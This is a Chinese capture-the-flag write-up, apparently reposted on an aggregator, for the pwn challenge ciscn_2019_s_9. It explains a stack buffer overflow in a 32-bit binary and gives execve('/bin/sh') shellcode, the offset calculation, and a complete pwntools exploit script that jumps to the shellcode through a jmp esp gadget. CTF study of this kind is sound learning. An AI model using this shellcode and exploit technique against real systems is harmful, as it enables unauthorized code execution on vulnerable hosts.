ciscn_2019_s_9详解

2024-02-10 04:20
文章标签 详解 2019 ciscn

本文主要是介绍ciscn_2019_s_9详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

checksec得知:
1、程序架构是 i386,32位,小端模式
2、got表可读可写
3、没有启用栈保护
4、栈中数据有执行权限
5、未启用位置无关可执行文件
6、存在可读可写可执行段
在这里插入图片描述

执行程序,要求输入字符串。

使用ida pro 反汇编
在这里插入图片描述

按f5生成伪代码
在这里插入图片描述

main函数调用了函数pwn(),双击函数pwn进入,
在这里插入图片描述

pwn函数定义了字符数组s,大小为24,位于离栈顶8h,栈底20h位置。而且函数用fgets从标准输入读入50个字符,此函数存在栈溢出漏洞。
注意到程序中存在hit函数,作用是跳转到栈上执行,jmp esp
在这里插入图片描述

那么可以构造shellcode分三段
1、执行/bin/sh,
2、覆盖原返回地址为指向jmp esp的地址,
3、修改栈顶为s地址,也是就是输入shellcode的内存起始地址。栈是可执行的。
执行/bin/sh代码为

xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80  

修改返回地址为jmp esp地址0x08048554,
修改栈顶为s地址并执行的代码
sub esp,28h;call esp
内存分布如图
在这里插入图片描述

分析
因为内存中s距离ebp为20h,ebp上面一个地址保存的是main函数的ebp,然后是返回地址,架构32位就是保存地址需4h空间,也就是s离保存返回地址的距离是24h,意味着执行/bin/sh的shellcode大小需要在24h内,不够补\x90,不能大,后面再拼接jmp esp地址 0x08048554,地址来源于ida pro分析,占用4h空间,此时距离s是28h,再拼接调整esp,跳转到esp执行的代码sub esp,28h;call esp。esp减28h是因为pwn函数返回时执行leave,就是执行move esp ebp,pop ebp,此前内存被修改了,但是ebp寄存器的值没有被修改,ebp距离s是20h,执行move esp,ebp;导致esp距离s是20h;执行pop ebp 把esp栈顶的值给ebp,esp加4h,执行retn,就是pop eip,把修改后的返回地址 0x08048554给eip,esp加4h,此时esp距离s是28h,esp指向的地址就是保存返回地址的上一个地址也就是写入的shellcode的代码中sub esp,28h;call esp 内容,pwn函数返回后执行修改后的返回地址内容,就是hint函数的jmp esp内容,跳转到栈上执行shellcode第三段内容,希望执行shellcode前段内容执行/bin/sh,也是s地址的内容,此时s距离esp是28h,所以执行sub esp,28h;此时esp指向s位置,然后call esp,跳转到s执行,也是就shellcode前段内容。
在python中运行完整代码如下

# coding=utf-8
from pwn import *
context(os='linux',arch='i386',terminal=['tmux','sp','-h'])  #need tmux 
p = process("./ciscn_s_9")
ret_addr = 0x08048554 #jmp esp
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,b'\x90') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))
p.recvuntil(">\n")
gdb.attach(p)
p.sendline(payload)
p.interactive()

这篇关于ciscn_2019_s_9详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/Keey9/article/details/131170957
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/696120

相关文章

Linux查询服务器 IP 地址的命令详解

《Linux查询服务器IP地址的命令详解》在服务器管理和网络运维中,快速准确地获取服务器的IP地址是一项基本但至关重要的技能,下面我们来看看Linux中查询服务器IP的相关命令使用吧... 目录一、hostname 命令:简单高效的 IP 查询工具命令详解实际应用技巧注意事项二、ip 命令:新一代网络配置全

Java异常捕获及处理方式详解

《Java异常捕获及处理方式详解》异常处理是Java编程中非常重要的一部分,它允许我们在程序运行时捕获并处理错误或不预期的行为,而不是让程序直接崩溃,本文将介绍Java中如何捕获异常,以及常用的异常处... 目录前言什么是异常?Java异常的基本语法解释:1. 捕获异常并处理示例1:捕获并处理单个异常解释:

从基础到高阶详解Python多态实战应用指南

《从基础到高阶详解Python多态实战应用指南》这篇文章主要从基础到高阶为大家详细介绍Python中多态的相关应用与技巧,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、多态的本质:python的“鸭子类型”哲学二、多态的三大实战场景场景1:数据处理管道——统一处理不同数据格式

Python学习笔记之getattr和hasattr用法示例详解

《Python学习笔记之getattr和hasattr用法示例详解》在Python中,hasattr()、getattr()和setattr()是一组内置函数,用于对对象的属性进行操作和查询,这篇文章... 目录1.getattr用法详解1.1 基本作用1.2 示例1.3 原理2.hasattr用法详解2.

Python开发简易网络服务器的示例详解(新手入门)

《Python开发简易网络服务器的示例详解(新手入门)》网络服务器是互联网基础设施的核心组件,它本质上是一个持续运行的程序,负责监听特定端口,本文将使用Python开发一个简单的网络服务器,感兴趣的小... 目录网络服务器基础概念python内置服务器模块1. HTTP服务器模块2. Socket服务器模块

Python用Flask封装API及调用详解

《Python用Flask封装API及调用详解》本文介绍Flask的优势(轻量、灵活、易扩展),对比GET/POST表单/JSON请求方式,涵盖错误处理、开发建议及生产环境部署注意事项... 目录一、Flask的优势一、基础设置二、GET请求方式服务端代码客户端调用三、POST表单方式服务端代码客户端调用四

Spring Integration Redis 使用示例详解

《SpringIntegrationRedis使用示例详解》本文给大家介绍SpringIntegrationRedis的配置与使用,涵盖依赖添加、Redis连接设置、分布式锁实现、消息通道配置及... 目录一、依赖配置1.1 Maven 依赖1.2 Gradle 依赖二、Redis 连接配置2.1 配置 R

Python WSGI HTTP服务器Gunicorn使用详解

《PythonWSGIHTTP服务器Gunicorn使用详解》Gunicorn是Python的WSGI服务器,用于部署Flask/Django应用,性能高且稳定,支持多Worker类型与配置,可处... 目录一、什么是 Gunicorn?二、为什么需要Gunicorn?三、安装Gunicorn四、基本使用启

C#中的Drawing 类案例详解

《C#中的Drawing类案例详解》文章解析WPF与WinForms的Drawing类差异,涵盖命名空间、继承链、常用类及应用场景,通过案例展示如何创建带阴影圆角矩形按钮,强调WPF的轻量、可动画特... 目录一、Drawing 是什么?二、典型用法三、案例:画一个“带阴影的圆角矩形按钮”四、WinForm

MySQL ORDER BY 语句常见用法、示例详解

《MySQLORDERBY语句常见用法、示例详解》ORDERBY是结构化查询语言(SQL)中的关键字,隶属于SELECT语句的子句结构,用于对查询结果集按指定列进行排序,本文给大家介绍MySQL... 目录mysql ORDER BY 语句详细说明1.基本语法2.排序方向详解3.多列排序4.常见用法示例5.